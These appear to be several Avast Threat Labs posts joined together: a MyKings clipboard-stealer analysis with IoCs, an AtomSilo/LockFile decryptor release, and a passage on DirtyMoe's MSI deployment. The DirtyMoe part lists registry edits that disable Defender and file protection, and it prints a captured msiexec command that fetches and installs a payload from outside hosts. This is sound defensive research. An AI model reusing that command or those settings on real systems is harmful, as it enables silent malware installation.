MyKings is a long-standing and relentless botnet which has been active from at least 2016. Since then it has spread and extended its infrastructure so much that it has even gained multiple names from multiple analysts around the world — MyKings, Smominru, and DarkCloud, for example. Its vast infrastructure consists of multiple parts and modules, including bootkit, coin miners, droppers, clipboard stealers, and more.

Our research has shown that, since 2019, the operators behind MyKings have amassed at least $24 million USD (and likely more) in the Bitcoin, Ethereum, and Dogecoin cryptowallets associated with MyKings. While we can’t attribute that amount solely to MyKings, it still represents a significant sum that can be tied to MyKings activity.

Our hunting for new samples brought us over 6,700 unique samples. Just since the beginning of 2020 (after the release of the Sophos whitepaper), we protected over 144,000 Avast users threatened by this clipboard stealer module. Most attacks happened in Russia, India, and Pakistan.

In this first part of our two-part blog series, we will peek into the already known clipboard stealer module of MyKings, focusing on its technical aspects, monetization, and spread. In addition, we’ll look into how the functionality of  the clipboard stealer enabled attackers to carry out frauds with Steam trade offers and Yandex Disk links, leading to more financial gain and infection spread. 

Avast has been tracking the MyKings’ clipboard stealer since the beginning of 2018, but we can’t rule out an even earlier creation date. Basic functionality of this module was already covered by Gabor Szappanos from SophosLabs, but we are able to contribute with new technical details and IoCs.

1. Monetary gain

When Sophos released their blog at the end of 2019, they stated that the coin addresses are “not used or never received more than a few dollars”. After tracing newer samples, we were able to extract new wallet addresses and extend the list of 49 coin addresses in Sophos IoCs to over 1300.

Because of the amount of new data, we decided to share our script, which can query the amount of cryptocurrency transferred through a crypto account. Because not all blockchains have this possibility, we decided to find out how much money attackers gained through Bitcoin, Ethereum, and Dogecoin accounts. After inspecting these addresses we have confirmed that more than $24,700,000 worth in cryptocurrencies was transferred through these addresses. We can safely assume that this number is in reality higher, because the amount consists of money gained in only three cryptocurrencies from more than 20 in total used in malware. It is also important to note here that not all of the money present in the cryptowallets necessarily comes from the MyKings campaign alone.

After taking a closer look at the transactions and inspecting the contents of installers that dropped the clipboard stealer, we believe that part of this money was gained through crypto miners. The clipboard stealer module and the crypto miners were seen using the same wallet addresses.

Cryptocurrency	Earnings in USD	Earnings in cryptocurrency
Bitcoin	6,626,146.252 [$]	132.212 [BTC]
Ethereum	7,429,429.508 [$]	2,158.402 [ETH]
Dogecoin	10,652,144.070 [$]	44,618,283.601 [DOGE]

2. Attribution

Even though the clipboard stealer and all related files are attributed in previous blog posts to MyKings, we wanted to confirm those claims, because of lack of definitive proof. Some articles (e.g. by Sophos) are saying that some scripts in the attribution chain, like c3.bat may kill other botnets or earlier versions of itself, which raises doubts. Other articles (e.g by Guardicore) are even working with the theory of a rival copycat botnet deleting MyKings.  MyKings is a large botnet with many modules and before attributing all the monetary gains to this clipboard stealer, we wanted to be able to prove that the clipboard stealer is really a part of MyKings.

We started our attribution with the sample d2e8b77fe0ddb96c4d52a34f9498dc7dd885c7b11b8745b78f3f6beaeec8e191. This sample is a NSIS installer which drops NsCpuCNMiner in both 32 and 64 bit versions.

In the NSIS header was possible to see this Monero address used for miner configuration:
41xDYg86Zug9dwbJ3ysuyWMF7R6Un2Ko84TNfiCW7xghhbKZV6jh8Q7hJoncnLayLVDwpzbPQPi62bvPqe6jJouHAsGNkg2

Apart from the NsCpuCNMiner, the sample dropped an additional file with a name java12.exe into C:\Users\<username>\AppData\Local\Temp\java.exe. This file has SHA256 0390b466a8af2405dc269fd58fe2e3f34c3219464dcf3d06c64d01e07821cd7a and according to our data, was downloaded from http://zcop[.]ru/java12.dat by the installer. This file could be also downloaded from http://kriso[.]ru/java12.dat (both addresses contained multiple samples with different configurations at different times). This file contains a clipboard stealer. Also, the same Monero address can be found in both the clipboard stealer and the NSIS configuration.

After researching the Monero address, we found in blogpost written by Tencent Yujian Threat Intelligence Center, that sample b9c7cb2ebf3c5ffba6fdeea0379ced4af04a7c9a0760f76c5f075ded295c5ce2 uses the same address. This sample is another NSIS installer which drops the NsCpuCNMiner and the clipboard stealer. This NSIS installer was usually dropped under the name king.exe or king.dat and could be downloaded from http://kr1s[.]ru/king.dat.

In the next step, we looked into the address http://kr1s[.]ru/king.dat and we found that at different times, this address contained the file f778ca041cd10a67c9110fb20c5b85749d01af82533cc0429a7eb9badc45345c usually dropped into C:\Users\<username>\AppData\Local\Temp\king.exe or C:\Windows\system32\a.exe. This file is again a NSIS installer that downloads clipboard stealer, but this time it contains URLs http://js[.]mys2016.info:280/helloworld.msi and http://js[.]mys2016.info:280/v.sct.

URL http://js[.]mys2016.info:280/v.sct is interesting, because this URL is also contacted by the sample named my1.html or  my1.bat or my1.bat with SHA256 5ae5ff335c88a96527426b9d00767052a3cba3c3493a1fa37286d4719851c45c.

This file is a batch script which is almost identical to the script with the same name my1.bat and SHA256 2aaf1abeaeeed79e53cb438c3bf6795c7c79e256e1f35e2a903c6e92cee05010, as shown further below.

Both scripts contain the same strings as C:\Progra~1\shengda, C:\Progra~1\kugou2010. 

There are only two important differences to notice:

1. At line 12, one script uses address http://js[.]mys2016.info:280/v.sct and the other uses address http://js[.]1226bye.xyz:280/v.sct.
2. Line 25 in the second script has commands that the first script doesn’t have. You can notice strings like fuckyoumm3, a very well known indicator of MyKings.

Furthermore, it is possible to look at the file c3.bat with SHA256 0cdef01e74acd5bbfb496f4fad5357266dabb2c457bc3dc267ffad6457847ad4. This file is another batch script which communicates with the address http://js[.]1226bye.xyz:280/v.sct and contains many MyKings specific strings like fuckayoumm3 or task name Mysa1.

3. Technical analysis

Our technical analysis of the clipboard stealer focuses primarily on new findings.

3.1 Goal of the malware

The main purpose of the clipboard stealer is rather simple: checking the clipboard for specific content and manipulating it in case it matches predefined regular expressions. This malware counts on the fact that users do not expect to paste values different from the one that they copied. It is easy to notice when someone forgets to copy and paste something completely different (e.g. a text instead of an account number), but it takes special attention to notice the change of a long string of random numbers and letters to a very similar looking string, such as cryptowallet addresses. This process of swapping is done using  functions OpenClipboard, EmptyClipboard, SetClipboardData and CloseClipboard. Even though this functionality is quite simple, it is concerning that attackers could have gained over $24,700,000 using such a simple method.

As can be seen on image below, most of the regular expressions used for checking the clipboard content will match wallet formats of one specific cryptocurrency, but there are also regular expressions to match Yandex file storage, links to the Russian social network VKontakte, or Steam trade offer links.

We were able to find many comments from people at BlockChain Explorer services believing that they sent money to the incriminated accounts by a mistake and asking or demanding that their money be sent back. In response to this malicious activity, we want to increase awareness about frauds like this and we highly recommend people always double-check transaction details before sending  money.

3.2 Defense & features

Some other blog posts describe a few anti-debugging checks and defense against system monitoring tools, but we can’t confirm any new development.

In order to avoid multiple executions, the clipboard stealer checks for mutex on execution. The mutex name is created dynamically by checking on which version of OS it is launched on. This procedure is performed using functions RegOpenKeyExA which opens the registry key SOFTWARE\Microsoft\Windows NT\CurrentVersion. Afterwards, a function RegQueryValueExA is called which gets the value of ProductName. The value obtained is then concatenated with the constant suffix 02. Using this method, you can get many more possibilities of existing mutexes. In the list below, you can find a few examples of mutex names:

• Windows 7 Professional02
• Windows 7 Ultimate02
• Windows 10 Enterprise02
• Windows 10 Pro02
• Windows XP02
• …

In a different version of the malware, an alternative value is used from registry key SOFTWARE\Microsoft\Windows NT\CurrentVersion  and value of BuildGUID. This value is then also appended with suffix 02 to create the final mutex name.

Another mechanism serving as a defense of this malware is trying to hide the addresses of cryptowallets belonging to attackers. When the malware matches any of the regular expressions in the clipboard, it substitutes the clipboard content with a value that is hardcoded inside the malware sample. For protection against quick analysis and against static extraction with regular expressions, the substitute values are encrypted. Encryption used is a very simple ROT cipher, where the key is set to -1.

For a quick and static extraction of wallets from samples, it’s possible to decrypt the whole sample (which destroys all data except wanted values) and then use regular expressions to extract the hidden substitute values. The advantage of this approach is that the malware authors already provided us with all necessary regular expressions; thus the extraction process of the static information can be easily automated.

3.3 Newly uncovered functionality

With a larger dataset of samples, we were also able to reveal the intentions of regular expressions checking for URLs.

3.3.1 Steam trade frauds

One of the regular expressions hardcoded in samples looks like this:
((https://steamcommunit))(?!.*id|.*id)(([a-zA-Z0-9.-]+.[a-zA-Z]{2,4})|([0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}))(/[a-zA-Z0-9%:/-_?.',27h,'~&]*)?

This kind of expression is supposed to match Steam trade offer links. Users on the Steam platform can create trade offers to trade what are usually in-game items from their inventory with other users. The value of the items that can be traded starts at only a few cents, but the most expensive items are being sold for hundreds or thousands dollars.

The clipboard stealer manipulates the trade offer URL and changes the receiving side, so Steam users send their items to someone completely unknown. The exchanged link then looks like this one:
https://steamcommunity[.]com/tradeoffer/new/?partner=121845838&token=advSgAXy

In total we were able to extract 14 different Steam trade offer links that appeared in almost 200 samples. These links lead us to 14 Steam accounts — some of which were banned and some had set privacy restrictions — but among the working public accounts we were able to find information that assured us that these frauds happened. An example is this is an account which was bound to the trade offer link listed above:
https://steamcommunity.com/id/rosher

After checking the comments section of this account, we could see multiple people getting angry and curious as to why their trade offer links are getting changed. Even though some people noticed the change in the trade offer link, we suppose that some trades were completed. We were not able to estimate how much money could have been stolen through this technique.

Translation of comments:

1. 9 Oct, 2020 @ 7:47 pm why is my trade link changing to yours?
2. 21 Jul, 2020 @ 2:16 pm Th for the garbage with a trade link !!! ???
3. 27 Jun, 2020 @ 5:05 am what a fagot what did you do with the link

3.3.2 Fake Yandex Disk links 

Another functionality is related to the regular expression:
((https://yad))+(([a-zA-Z0-9.-]+.[a-zA-Z]{2,4})|([0-9]{1,3}.[0-9]

This regular expression matches links to Yandex Disk storage. Yandex Disk is a cloud service created by multinational Russian company Yandex and can be used similarly as Google Drive or Dropbox for sharing files.

The objective of this technique is to match links that users are sending to their friends and family to share files or photos. If the malware runs on the sender’s machine, the infected victim is sending wrong links to all their acquaintances. If the malware runs on the machine of the user that receives the link and copy/pastes it to the browser address bar, the victim again opens a wrong link. In both cases, the wrong link gets opened by someone unaware that the content is wrong. In both cases, the victim downloads files from that link and opens them, because there is no reason to not trust the files received from someone they know.

From the set of analyzed samples, we extracted following 4 links to Yandex Disk storage:

1. https://yadi[.]sk/d/cQrSKI0591KwOg
2. https://yadi[.]sk/d/NGyR4jFCNjycVA
3. https://yadi[.]sk/d/zCbAMw973ZQ5t3
4. https://yadi[.]sk/d/ZY1Qw7RRCfLMoQ

All of the links contain packed archives in a .rar or .zip format, protected with a password. The password is usually written in the name of the file. As you can see on the image below, the file is named, for example, as “photos,” with the password 5555.

4. Conclusion

In this first part of the blog series, we focused on the MyKings clipboard stealer module, going through the attribution chain and uncovering the amounts of money that attackers were able to obtain along the way. The clipboard stealer also focuses on frauds regarding Steam trade offers and Yandex Disk file sharing, distributing further malware to unaware victims.

In the next part of this blog series, we will go down the rabbit hole — exploring the contents of one of the downloaded payloads and providing you with an analysis of the malware inside. Don’t miss it!

Indicators of Compromise (IoC)

SHA256 hashes

0390b466a8af2405dc269fd58fe2e3f34c3219464dcf3d06c64d01e07821cd7a

0cdef01e74acd5bbfb496f4fad5357266dabb2c457bc3dc267ffad6457847ad4

2aaf1abeaeeed79e53cb438c3bf6795c7c79e256e1f35e2a903c6e92cee05010

5ae5ff335c88a96527426b9d00767052a3cba3c3493a1fa37286d4719851c45c

b9c7cb2ebf3c5ffba6fdeea0379ced4af04a7c9a0760f76c5f075ded295c5ce2

d2e8b77fe0ddb96c4d52a34f9498dc7dd885c7b11b8745b78f3f6beaeec8e191

f778ca041cd10a67c9110fb20c5b85749d01af82533cc0429a7eb9badc45345c

Also in our GitHub.

Mutexes

Windows 7 Professional02

Windows 7 Ultimate02

Windows 10 Enterprise02

Windows 10 Pro02

Windows XP02

Also in our GitHub.

C&C and logging servers

http://2no[.]co/1ajz97

http://2no[.]co/1aMC97

http://2no[.]co/1Lan77

http://ioad[.]pw/ioad.exe

http://ioad[.]pw/v.sct

http://iplogger[.]co/1h9PN6.html

http://iplogger[.]org/1aMC97

http://kr1s[.]ru/doc.dat

http://kr1s[.]ru/java.dat

http://kr1s[.]ru/tess.html

http://u.f321y[.]com/buff2.dat

http://u.f321y[.]com/dhelper.dat

http://u.f321y[.]com/oneplus.dat

http://u.f321y[.]com/tess.html

http://u.f321y[.]com/VID.dat

http://zcop[]].ru/java12.dat

Complete list in our GitHub.

Appendix

Yandex disk links

https://disk[.]yandex.ru/d/NGyR4jFCNjycVA

Complete list in our GitHub.

Steam trade offer links

https://steamcommunity[.]com/tradeoffer/new/?partner=121845838&token=advSgAXy

Complete list in our GitHub.

Wallet addresses

0x039fd537a61e4a7f28e43740fe29ac84443366f6

0x6a1A2C1081310a237Cd328B5d7e702CB80Bd2078

12cZKjNqqxcFovghD5N7fgPNMLFZeLZc3u

16G1hnVBhfrncLe71SH3mr19LBcRrkyewF

22UapTiJgyuiWg2FCGrSsEEEpV7NLsHaHBFyCZD8nc1c9DEPa5JrELQFr6MNqj3PGR4PGXzCGYQw7UemxRoRxCC97r43pZs

3PAFMSCjWpf5WDxkkECMmwqkZGHySgpuzEo

41xDYg86Zug9dwbJ3ysuyWMF7R6Un2Ko84TNfiCW7xghhbKZV6jh8Q7hJoncnLayLVDwpzbPQPi62bvPqe6jJouHAsGNkg2

7117094708328086084L

AKY1itrWtsmziQhg2THDcR3oJhXsVLRxM7

AXnqKf2Pz6n9pjYfm2hrekzUNRooggjGpr

D6nziu2uAoiWvdjRYRPH7kedgzh56Xkjjv

DAsKfjhtVYnJQ7GTjwPAJMRzCtQ1G36Cyk

DdzFFzCqrht9wkicvUx4Hc4W9gjCbx1sjsWAie5zLHo2K2R42y2zvA7W9S9dM9bCHE7xtpNriy1EpE5xwv7mPuSjhP4FyB9Z1ra6Ge3y

EVRzjX4wpeb9Ys6i1LFcZyTkEQvV9Eo2Wk

GBJOA4BNCXBSYG3ZVU2GXNOOA2JJLCG4JIVNEINHQIZNVMX4SSH5LLK7

LbAKQZutpqA9Lef6UGJ2rRMJkiq7fx7h9z

LUfdGb4pCzTAq9wucRpZZgCF69QHpAgvfE

QNkbMtCmWSCFS1U63PcAxhKufLvEwSsJ8t

qrfdnklvpgmh94dycdsp68qd6nf9fk8vlsr24n2mcp

QrKfx3qsqaMQUVHx8yAd1aTHHRdjP6Tg

qz45uawuzuf0fa3ldalh32z86nkk850e0qcpnf6yye

rNoeET6PH5dkf1VVvuUc2eZYap9yDZiKTm

SPLfNnmUdqmYu1FH2qMcGiU7P8Mwf9Z3Kr

t1JjREG9k58srT42KitRp3GyMBm2x4B889o

t1Suv1nezoZVk98LHu4tRxQ6xgofxQwi54h

VhGTEsM6ewqNBJwDEB2o6bHvRqFdGqu5HM

XdxsHPrsJvsDze4CQkMVVgsuqrHqys791e

Xup4gBGLZLDi9J9VbcLuRHGKDXaUjwMoZV

Complete list in our GitHub.

Scripts

Script for querying amounts transferred through wallet addresses can be found in our GitHub.

The post The King is Dead, Long Live MyKings! (Part 1 of 2) appeared first on Avast Threat Labs.

On Oct 17, 2021, Jiří Vinopal published information about a weakness in the AtomSilo ransomware and that it is possible to decrypt files without paying the ransom. Slightly later, he also analyzed another ransomware strain, LockFile. We prepared our very own free Avast decryptor for both the AtomSilo and LockFile strains.

Limitation of the decryptor

During the decryption process, the Avast AtomSilo decryptor relies on a known file format in order to verify that the file was successfully decrypted. For that reason, some files may not be decrypted. This can  include files with proprietary or unknown format, or with no format at all, such as text files.

How AtomSilo and LockFile Work

Both the AtomSilo and LockFile ransomware strains are very similar to each other and except for minor differences, this description covers both of them. 

AtomSilo ransomware searches local drives using a fixed drive list, whilst LockFile calls GetLogicalDriveStringsA() and processes all drives that are fixed drives.

A separate thread is created for each drive in the list. This thread recursively searches the given logical drive and encrypts files found on it. To prevent paralyzing the compromised PC entirely, AtomSilo has a list of folders, file names and file types that are left unencrypted which are listed here:

Excluded folders
Boot	Windows	Windows.old	Tor Browser
Internet Explorer	Google	Opera	Opera Software
Mozilla	Mozilla Firefox	$Recycle.Bin	ProgramData
All Users

Excluded files
autorun.inf	index.html	boot.ini	bootfont.bin
bootsect.bak	bootmgr	bootmgr.efi	bootmgfw.efi
desktop.ini	iconcache.db	ntldr	ntuser.dat
ntuser.dat.log	ntuser.ini	thumbs.db	#recycle

Excluded extensions
.hta	.html	.exe	.dll	.cpl	.ini
.cab	.cur	.cpl	.drv	.hlp	.icl
.icns	.ico	.idx	.sys	.spl	.ocx

LockFile avoids files and folders, containing those sub-strings:

Excluded sub-strings
Windows	NTUSER	LOCKFILE	.lockfile

In addition to that, there is a list of 788 file types (extensions), which won’t be encrypted. Those include .exe, but also .jpg, .bmp and .gif. You may noticed that some of them are included repeatedly.

The ransomware generates RSA-4096 session keypair for each victim. Its private part is then stored in the ransom note file, encrypted by the master RSA key (hardcoded in the binary). A new AES-256 file key is generated for each file. This key is then encrypted by the session RSA key and stored at the end of the encrypted file, together with original file size. 

Each encrypted file contains a ransom note file with one of the names:

• README-FILE-%ComputerName%-%TimeStamp%.hta
• LOCKFILE-FILE-%ComputerName%-%TimeStamp%.hta

Encrypted files can be recognized by the .ATOMSILO or .lockfile extension: 

When the encryption process is complete, the ransom note is shown to the user. Each strain’s ransom note has its own look:

How to use the Decryptor

To decrypt your files, please, follow these steps:

1. Download the free decryptor. The single EXE file covers both ransomware strains.
2. Simply run the EXE. It starts in form of wizard, which leads you through configuration of the decryption process.
3. On the initial page, you can see a list of credits. Simply click “Next”
   

4. On the next page, select the list of locations which you want to be decrypted. By default, it contains a list of all local drives.

5. On the third page, you can select whether you want to backup encrypted files. These backups may help if anything goes wrong during the decryption process. This option is turned on by default, which we recommend. After clicking “Decrypt”, the decryption process begins.

6. Let the decryptor work and wait until it finishes.

Credits

We would like to thank Jiří Vinopal for sharing analysis of both ransomware strains.

IOCs

SHA	filename
d9f7bb98ad01c4775ec71ec66f5546de131735e6dba8122474cc6eb62320e47b	.ATOMSILO
bf315c9c064b887ee3276e1342d43637d8c0e067260946db45942f39b970d7ce	.lockfile

The post Avast releases decryptor for AtomSilo and LockFile ransomware appeared first on Avast Threat Labs.

Abstract

In the first article, we have described a complex malware, called DirtyMoe, from a high-level point of view. Most of the captured samples were MSI Installer packages which were delivered onto a victim’s machine by the PurpleFox exploit kit. So in the fourth part of the DirtyMoe series, we will focus on DirtyMoe’s deployment and how DirtyMoe tackles various issues with different versions of Windows.

To understand what the MSI package executes on the victim’s machine, we have analyzed the MSI package in terms of registry and file manipulations, installer’s arguments, and post-reboot operations. We have also tried to put these actions into the context to determine the purpose of its individual actions in DirtyMoe’s deployment.

The DirtyMoe’s MSI installer abuses the Windows System Event Notification Service (SENS) to deploy DirtyMoe. The main goal of the MSI installer is to replace the system DLL file of SENS with a malicious payload and execute the payload as a legitimate service. Another essential point is configuring the anti-detection methods to keep DirtyMoe under the radar.

The DirtyMoe malware requires different locations of installed files and registry entries for each Windows version that the malware targets. Since the MSI Installer provides a convenient way to install arbitrary software across versions of Windows, its usage seems like a logical choice.

1. Scope

We have recorded two versions of MSI installer packages distributing DirtyMoe. Both versions perform very similar actions for the successful DirtyMoe deployment. The main difference is the delivery of malicious files via a CAB file. The older version of the MSI package includes the CAB file directly in the package, while the newer version requires the CAB file in the same location as the package itself.

The effect of the separate CAB file easily allows managing payloads that need to be deployed. Further, it reduces the size of the primary exploit payload because the CAB file can be downloaded after successful exploitations.

1.1 All in One Package (older version)

The example of the all in one package is a sample with SHA-256:
5ef702036c5c3aa2d0b6d8650e20b2c5f55776c69eebf8c700f1770b56a35c35

The package details follow:

• Product Name: FONDQXIMSYHLISNDBCFPGGQDFFXNKBARIRJH
• Product Version: 2.0.0.0
• Product Code: {80395032-1630-4C4B-A997-0A7CCB72C75B}
• Install Condition:
  • is Windows NT (cannot be installed on Windows 9x/ME)
  • is not Windows XP SP2 x64 or Windows Server 2003 SP2 x64
  • is not Windows XP/2003 RTM, Windows XP/2003 SP1, Windows XP SP2 x86
  • is not Windows NT 4.0
  • is not Windows 2000
  • not exist SOFTWARE\SoundResearch\UpdaterLastTimeChecked3 with value 3
• File Size: 2.36 MB

1.2 Excluded Data Package (newer version)

The newer version of the MSI package consists of two parts. The first part is the MSI package itself and the separate CAB file containing the malicious payloads. The MSI package refers to one of the following CAB files: M0011.cab, M0021.cab, M0031.cab, , M0041.cab, M0051.cab, M0061.cab , M0071.cab . The CAB file contains three malicious files, but only one file (sysupdate.log) is different for each CAB file. Detailed information about the file manipulation is described in Section 3.

The example of the newer MSI package is a sample with SHA-256:
1233cc0b8f77213a229e64c6aa0e08bd18e075879734a18512b1990b6408764f

The package details follow:

• Product Name: CTH3VNU8KZHDXY6YYCF9YV8OXGPW3P2APZPL
• Product Version: 2.0.0.0
• Product Code: {80395032-1630-4C4B-A997-0A7CCB72C75B}
• Install Condition:
  • is Windows NT (cannot be installed on Windows 9x/ME)
  • is not Windows XP SP2 x64 or Windows Server 2003 SP2 x64
  • is not Windows XP/2003 RTM, Windows XP/2003 SP1, Windows XP SP2 x86
  • is not Windows NT 4.0
  • is not Windows 2000
  • not exist HKLM\SOFTWARE\Microsoft\DirectPlay8\Direct3D
  • not exist HKCU\SOFTWARE\7-Zip\StayOnTop
• File Size: 1.020 MB

Note: The product name is usually different for each .msi file. It is a random string composed of capital letters of length 36. The product code has so far been observed with the same value.

2. Registry Manipulation

The malware authors prepare a victim environment to a proper state via the MSI installer. They focus on disabling anti-spyware and file protection features. Additionally, the MSI package uses one system configuration to bypass Windows File Protection (WFP) to overwrite protected files despite the fact that WFP should prevent replacing critical Windows system files [1].

There are several registry manipulations during MSI installation, though we will describe only the most crucial registry entries.

2.1 Mutex

UpdaterLastTimeChecked
HKEY_LOCAL_MACHINE\SOFTWARE\SoundResearch\UpdaterLastTimeChecked[1-3]
One of the malware registry entries is UpdaterLastTimeChecked[x], where x signifies how many times the MSI installer has been run. Each MSI installation of the package creates one entry. If UpdaterLastTimeChecked3 is present, the following package installation is not allowed. It is applicable only for the older version of the MSI package.

StayOnTop
HKEY_CURRENT_USER\SOFTWARE\7-Zip\StayOnTop = 1
This registry manipulation is related only to the newer version. 7-Zip software does not support the stay on top feature. Therefore, it can be assumed that this registry entry serves as a flag that the installer package has been successfully run. SentinelLabs has published evidence that the presentence of this value indicates that a victim computer has been compromised by PurpleFox [2].

Direct3D
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DirectPlay8\Direct3D
An active instance of the DirtyMoe malware stores settings and meta-data in this registry entry in an encrypted form. Therefore, if this entry is present in the system registry, the MSI installation is aborted.

2.2 Anti-Detection

DisableAntiSpyware
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = 1
Microsoft Defender Antivirus can be disabled by the DisableAntiSpyware registry key set to 1. So, if the system has no 3^rd party antivirus product, the system is without protection against malicious software, including spyware [3].

SFCDisable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SFCDisable = 4
Windows File Protection (WFP) prevents non-system applications from replacing critical Windows system files that can cause problems with the operating system integrity and stability. WFP is typically enabled by default in all versions of Windows [4].

Naturally, DirtyMoe wants to avoid a situation where WFP detects any manipulation with the system files. Therefore, the SFCDisable value is set to four, enabling WFP, but every WFP action is not pop-upped by GUI. The effect is that WFP is enabled, so no system alerts are invoked, but WFP warning is hidden for users. This is applicable only for Windows XP.

SFCScan
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SFCScan = 0
The System File Checker (SFC) provides the ability to scan system-protected files. SFC verifies file versions, and if it detects any file manipulation, SFC updates files to the correct version. This registry manipulation contributes to disabling SFC protecting the abused Windows service. This setup affects only file scanning, but WFP can still be active.

SvcHostSplitThresholdInKB
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SvcHostSplitThresholdInKB = 0xFFFFFFFF
The crucial registry manipulation controls the system startup and some aspects of device configuration. To understand the primary purpose of the SvcHostSplitThresholdInKB registry entry, we must describe the historical development of Windows services and a generic host process.

In most cases, Windows services are run from dynamic-link libraries that Windows executes via the generic host process (svchost.exe). The hosted process can load more services (DLLs) as threads within one process. This is a historical relict from the times of Windows XP where system memory used to be a scarce commodity. The system used a few service host processes that hosted all Windows services, represented by DLL files, as the process creation and maintenance were expensive in terms of the system memory.

Figure 1 illustrates the example of run services and detailed information about the biggest host service process. Windows XP created 5 host processes grouped according to their purposes, such as LocalService, NetworkService, and System. PID 1016 is the biggest process in point of the memory usage view since this process hosts approx. 20 services. This approach saved the memory but made the system more unstable because if one of the services crashed, the entire service chain hosted by the same process was killed.

Nowadays, there is no reason to group services within a few processes, and the resulting positive effects are increased system stability and security, as well as easier error analysis. Services now usually no longer share processes; mini-programs for providing system functions have an exclusive memory location. And if the svchost.exe process crashes, it no longer drags the entire service chain with it [5].

Windows 10 has come with a threshold value (SvcHostSplitThresholdInKB), determining when services shall be created as a regular process. The default value is 380,000, so the grouping service model is used if the system has less than 3.5 GB of memory. In other words, the increasing threshold value can reduce the amount of the host processes, and therefore it determines if the service processes are split.

Let’s give an example for Windows 10, if the value is set to 1, the number of host processes is approx. 70. And the threshold value equal to maximum (0xFFFFFFFF) causes that number of host processes to be only 26.

It is now understood that the maximum value of SvcHostSplitThresholdInKB can hide details about run processes. Therefore, the malware author set the threshold value to the maximum to hide the malicious service activity in threads. As a consequence, the malicious service is run within one host process in one of its threads. Accordingly, tracking and forensic analysis are made more difficult since the svchost process hosts many other services, and it is hard to assign system activities to the malware service.

2.3 Payload Delivery

SMBDeviceEnabled
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\SMBDeviceEnabled = 0
In order to prevent deployment of other malware via EternalBlue exploit [6], the MSI installer disables SMB sharing, effectively closing port 445 on Windows XP.

AllowProtectedRenames and PendingFileRenameOperations
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\AllowProtectedRenames
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations
These registry entries are also related to WFP and therefore are crucial for the malicious code’s deployment to the victim machine. The principle is the same as in the MoveFileEx function with MOVEFILE_DELAY_UNTIL_REBOOT flag [7]. In other words, the MSI installer defines which file will be moved or deleted after reboot via the Session Manager Subsystem (SMSS) [8].

The malware authors abuse two system files, sens.dll for Windows Vista and newer, and cscdll.dll for Windows XP, see Section 3. Consequently, the SMSS replaces the critical system file with the malicious ones after the system reboot.

An example of the PendingFileRenameOperations value for Windows 7 32bit is as follows:

\??\C:\Windows\AppPatch\Acpsens.dll

\??\C:\Windows\system32\sens.dll
\??\C:\Windows\AppPatch\Acpsens.dll
\??\C:\Windows\system32\sens.dll

\??\C:\Windows\winupdate32.log
\??\C:\Windows\system32\sens.dll
\??\C:\Windows\AppPatch\Ke583427.xsl

\??\C:\Windows\sysupdate.log
\??\C:\Windows\AppPatch\Ke583427.xsl

3. File Manipulation

DirtyMoe misuses the system services, precisely service DLL files, that are protected and which handlers are open, so replacing these files is not possible without the system reboot. Therefore, the first phase of the file manipulation is to extract payloads from the CAB file, and the second phase replaces the service DLL files with the extracted CAB files.

3.1 File Extraction

The CAB file usually contains three payload files.

• winupdate32.log and winupdate64.log are malicious DLLs representing the DirtyMoe service.
• sysupdate.log is an encrypted executable file that contains the default DirtyMoe module injected by the DirtyMoe service.

The MSI installer extracts and copies payloads from the CAB file into defined destinations if an appropriate condition is met, as the following table summarizes.

File	Destination	Condition
sysupdate.log	%windir%	None
winupdate32.log	%windir%	NOT VersionNT64
winupdate64.log	%windir%	VersionNT64

If the required files are extracted into the proper destination, the MSI installer ends and waits silently for the system to reboot. The next actions are performed by the SMSS.

3.2 File Replacement

The Session Manager Subsystem (SMSS) ensures replacing abused system files that are system-protected with the malicious ones based on PendingFileRenameOperations registry entry; see Section 2.3. In fact, the MSI installer invokes a post-reboot file manipulation based on a Windows version as follows:

Windows XP

• Delete (if exist) %windir%\\AppPatch\\Acpcscdll.dll
• Move %windir%\\system32\\cscdll.dll to %windir%\\AppPatch\\Acpcscdll.dll
• Move %windir%\\winupdate32.log to %windir%\\system32\\cscdll.dll
• Delete (if exist) %windir%\\AppPatch\\Ke583427.xsl
• Move %windir%\\sysupdate.log to %windir%\\AppPatch\\Ke583427.xsl

Windows Vista and newer

• Delete (if exist) %windir%\\AppPatch\\Acpsens.dll
• Move %windir%\\system32\\sens.dll to %windir%\\AppPatch\\Acpsens.dll
• Move %windir%\\winupdate64.log to %windir%\\system32\\sens.dll
• Delete (if exist) %windir%\\AppPatch\\Ke583427.xsl
• Move %windir%\\sysupdate.log to %windir%\\AppPatch\\Ke583427.xsl

The difference between Windows XP and Windows Vista and newer is an exploit of a hosting service. Windows XP uses Offline Network Agent (cscdll.dll) loaded by winlogon.exe under NT AUTHORITY\SYSTEM privileges. Windows Vista and newer provide System Event Notification Service (sens.dll) also run under SYSTEM. The Ke583427.xsl file is a default DirtyMoe module that is encrypted.

In short, the post-reboot operation slips DirtyMoe DLL into the system folder under the service name that is registered legitimately in the system. Replacement of such system files is possible because it is completed by SMSS, which is the first user-mode process started by the kernel. For that reason no handlers are created to the system DLL, and WFP is not also run yet. Finally, the malware represented by the slipped malicious DLL is started with system-level privileges since the abused service is registered as the legitimate service in Windows.

4. Deployment Workflow

If the PurpleFox successfully exploits a victim’s machine, the MSI installer package is run with administrator privileges. The MSI installer provides several options on how to install software silently, and therefore no user interaction is required. Although the system restart is necessary to apply all changes, the MSI installer also supports delayed restart; therefore, the user does not detect any suspicious symptoms. The installer only waits for the next system restart.

An example of how to run installation silently via MSI installer:
msiexec.exe /i <dirtymoe.msi> /qn /norestart; where /qn sets UI level to no UI.

We have captured a specific example of how the MSI installer is run after the successful system exploit.
Cmd /c for /d %i in (60.164.191.22:19400 185.51.201.102:19836 203.128.6.130:12315 58.220.24.47:13384 155.138.159.232:17445) do Msiexec /i http:\%i\0BC8EC41.moe \Q

